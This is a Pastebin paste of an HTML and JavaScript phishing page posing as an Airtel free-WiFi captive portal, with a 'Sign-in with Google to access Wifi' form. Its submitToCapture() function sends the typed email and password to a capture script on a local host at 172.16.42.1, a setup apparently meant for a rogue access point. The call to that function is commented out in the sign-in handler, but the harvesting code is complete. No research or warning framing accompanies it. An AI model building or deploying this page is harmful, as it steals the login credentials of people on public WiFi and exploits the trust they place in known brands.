Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- <style type="text/css">
- body {
- font-family: Arial, sans-serif;
- }
- #wrapper {
- width: 350px;
- position: absolute;
- background: #f7f7f7;
- border-radius: 2px;
- box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
- z-index: 0;
- visibility: hidden;
- }
- #outerWrapper {
- height: 450px;
- width: 450px;
- z-index: 1;
- visibility: visible;
- position: absolute;
- }
- #nextBtn {
- width: 100%;
- height: 36px;
- border: 1px solid #3079ed;
- -moz-border-radius: 3px;
- -webkit-border-radius: 3px;
- border-radius: 3px;
- font-weight: 700;
- color: #fff;
- text-shadow: 0 1px rgba(0,0,0,0.1);
- background-color: #4d90fe;
- font-size: 13px;
- background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
- margin-top: -3px;
- }
- .inputField {
- width: 100%;
- display: inline-block;
- height: 44px;
- padding: 0 8px;
- margin: 0;
- background: #fff;
- border: 1px solid #d9d9d9;
- border-top: 1px solid #c0c0c0;
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
- -moz-border-radius: 1px;
- -webkit-border-radius: 1px;
- border-radius: 1px;
- font-size: 15px;
- color: #404040;
- margin-bottom: 5px;
- }
- #pictArea {
- width: 100%;
- height: 126px;
- }
- #pictArea .pictDiv {
- border-radius: 50%;
- margin-left: auto;
- margin-right: auto;
- background-image: url("avatar.png");
- background-size: contain;
- width: 100px;
- height: 100px;
- margin-top: 15px;
- }
- table {
- width: 285px;
- margin-left: auto;
- margin-right: auto;
- padding-top: 20px;
- padding-bottom: 40px;
- }
- #wrapper a, #wrapper a:hover, #wrapper a:visited {
- color: #427fed;
- cursor: pointer;
- text-decoration: none;
- float: left;
- text-align: right;
- font-size: 13px;
- margin-top: 10px;
- }
- #topText {
- text-align: center;
- padding-top: 95px;
- margin-bottom: 25px;
- font-size: 28px;
- color: #717171;
- visibility: hidden;
- }
- #footer {
- width: 100%;
- height: 50px;
- position: absolute;
- bottom: 0;
- left: 0;
- border-top: 1px solid #bbbbbb;
- }
- .footerContent {
- color: #bbbbbb;
- font-size: 13px;
- margin-left: 10px;
- margin-top: 10px;
- position: absolute;
- }
- #errorMessage {
- color: #dd4b39;
- font-size: 13px;
- height: 0px;
- }
- .airtelWalaTop {
- width: 100%;
- height: 125px;
- }
- .airtelWalaBottom {
- width: 100%;
- height: 300px;
- }
- .centerAlign {
- left: 0;
- right: 0;
- margin-left: auto;
- margin-right: auto;
- }
- #airtelClick {
- position: absolute;
- width: 150px;
- margin-top: -100px;
- color: white;
- font-size: 18px;
- text-align: center;
- text-decoration: underline;
- cursor: pointer;
- }
- #outerWrapper img {
- width: 100%;
- }
- </style>
- <script type="text/javascript">
- function switchIt() {
- var ow = document.getElementById("outerWrapper");
- ow.style.zIndex = 0;
- ow.style.visibility = "hidden";
- var w = document.getElementById("wrapper");
- w.style.zIndex = 1;
- w.style.visibility = "visible";
- document.getElementById("topText").style.visibility = "visible";
- }
- function performAction() {
- var un = document.getElementById("username");
- var pw = document.getElementById("password");
- un.style.border = "1px solid #d9d9d9";
- un.style.borderTop = "1px solid #c0c0c0";
- pw.style.border = "1px solid #d9d9d9";
- pw.style.borderTop = "1px solid #c0c0c0";
- if (un.value.trim() == "") {
- displayError(1, un);
- } else if (pw.value.trim() == "") {
- displayError(2, pw);
- } else {
- if(validateEmail(un.value)) {
- displayError(4);
- // submitToCapture();
- } else {
- displayError(3, pw);
- }
- }
- }
- function displayError(i, field) {
- var em = document.getElementById("errorMessage");
- em.style.height = "20px";
- switch(i) {
- case 1:
- field.style.border = "1px solid #dd4b39";
- em.innerHTML = "Enter your email.";
- break;
- case 2:
- field.style.border = "1px solid #dd4b39";
- em.innerHTML = "Enter your password.";
- break;
- case 3:
- em.innerHTML = "The email or password you entered is incorrect.";
- break;
- case 4:
- em.style.height = "0px";
- em.innerHTML = "";
- break;
- }
- }
- function validateEmail(email) {
- var re = re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
- return re.test(email);
- }
- function submitToCapture() {
- uname = document.getElementById("username").value;
- pass = document.getElementById("password").value;
- redir = window.location.href;
- window.location = "http://172.16.42.1/capture1.php?username=" + uname + "&password=" + pass + "&redir=" + redir;
- }
- </script>
- </head>
- <body>
- <div id="topText">
- Sign-in with Google to access Wifi
- </div>
- <div id="outerWrapper" class="centerAlign">
- <div class="airtelWalaTop centerAlign">
- <img src="freedomairtel.jpg"/>
- </div>
- <div class="airtelWalaBottom centerAlign">
- <img src="FREEWIFI.jpg"/>
- <a id="airtelClick" class="centerAlign" onclick='switchIt()'>Sign In now!</a>
- </div>
- </div>
- <div id="wrapper" class="centerAlign">
- <table>
- <tr>
- <td>
- <div id="pictArea">
- <div class="pictDiv"></div>
- </div>
- </td>
- </tr>
- <tr>
- <td>
- <input id="username" class="inputField" type="email" placeholder="Email" onblur="validateEmail()" />
- </td>
- </tr>
- <tr>
- <td>
- <input id="password" class="inputField" type="text" placeholder="Password"/>
- </td>
- </tr>
- <tr>
- <td>
- <div id="errorMessage"></div>
- </td>
- </tr>
- <tr>
- <td>
- <input id="nextBtn" type="button" value ="Sign In" onclick="performAction()" />
- </td>
- </tr>
- <tr>
- <td>
- <a href="#">Need Help?</a>
- </td>
- </tr>
- </table>
- </div>
- <div id="footer">
- <span href="#" class="footerContent">© airtel India 2016, all rights reserved</span>
- </div>
- </body>
- </html>
Add Comment
Please, Sign In to add comment